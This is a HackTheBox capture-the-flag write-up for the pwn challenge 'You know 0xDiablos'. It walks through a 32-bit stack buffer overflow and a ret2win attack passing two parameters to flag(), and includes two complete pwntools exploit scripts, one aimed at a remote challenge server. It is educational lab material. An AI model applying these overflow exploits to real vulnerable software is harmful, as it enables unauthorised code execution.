You know 0xDiablos

Platform: HackTheBox | Category: Pwn | Difficulty: N/A | Author: D3v0o0Nu11 | Date: 2026-02-10

Description

I missed my flag

Solution Approach

Core idea: Stack-Based Exploitation. Implement ret2win attack with 2 parameters.

Steps

1. First unzip the file given.

2. Try to unzip it using 7z.

3. Check the file type and the binary's protection.

FILE TYPE

32 Bit file, dynamically linked and not stripped.

FILE'S PROTECTION

1. Now let us make the file executeable first by run chmod +x vuln, then run the file.

INPUT ANY LENGTH OF A'S - RESULT

1. As we know, since there's no canary found, then we can overflow the buffer.
2. I opened GDB and copied 1024 cyclic pattern, then run the file.

GDB

1. Copy the 4 chars in EIP , then do cyclic -l waab

EIP stands for Extended Instruction Pointer.

1. Now we know, we need to add 188 bytes as the padding.

2. Next, let us decompile the binary using ghidra.

3. Check the flag() function.

4. Since the flag() function has parameters, then we can conclude it's a ret2win concept but with parameters.

5. To do ret2win with param in 32 Bit, the payload shall look like this:

padding + flagAddr + returnAddress + param1 + param2

1. Copy the param1 and param2 value.

PARAM 1 & PARAM 2 (BOTH IN CHAR FORMAT)

1. For the return address, we want to return to the main() function just for safety. But actually you can add 4 bytes of characters as a junk.
2. So this is the final script:

from pwn import *
import os

'''
def start(argv=[], *a, **kw):
    if args.GDB:  # Set GDBscript below
        return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
    elif args.REMOTE:  # ('server', 'port')
        return remote(sys.argv[1], sys.argv[2], *a, **kw)
    else:  # Run locally
        return process([exe] + argv, *a, **kw)

#gdbscript = '''
#init-pwndbg
#continue
'''.format(**locals())
exe = './vuln'

### This will automatically get context arch, bits, os etc

elf = context.binary = ELF(exe, checksec=False)
'''

os.system('clear')

context.log_level = 'debug'

sh = remote('157.245.35.145', 32410)
flagAddr = 134517218 # 0x80491e2
param1 = 3735928559 # 0xdeadbeef
param2 = 3235827725 # 0xc0ded00d
p = b'A' * 188 
p += p32(flagAddr)
p += p32(134517425) #0x80492b1 
p += p32(param1)
p += p32(param2)
sh.recvuntil("\n")
sh.sendline(p)

sh.interactive()

OUTPUT

1. Got the flag!

ALTERNATE SOLVER

using ropstar

import os
from pwn import *

os.system('clear')

def start(argv=[], *a, **kw):
    if args.REMOTE:
        return remote(sys.argv[1], sys.argv[2], *a, **kw)
    else:
        return process([exe] + argv, *a, **kw)

exe = './vuln'
elf = context.binary = ELF(exe, checksec=True)
context.log_level = 'DEBUG'

sh = start()

padding = asm('nop') * 188 # EIP OFFSET

rop = ROP(elf)

rop.flag(0xdeadbeef, 0xc0ded00d)

send = padding + rop.chain()

sh.sendline(send)

get = sh.recvall()
print(get)

print(rop.dump())

sh.interactive()

Flag

REDACTED

Lessons Learned

1. Stack-Based Exploitation.
2. Implement ret2win attack with 2 parameters.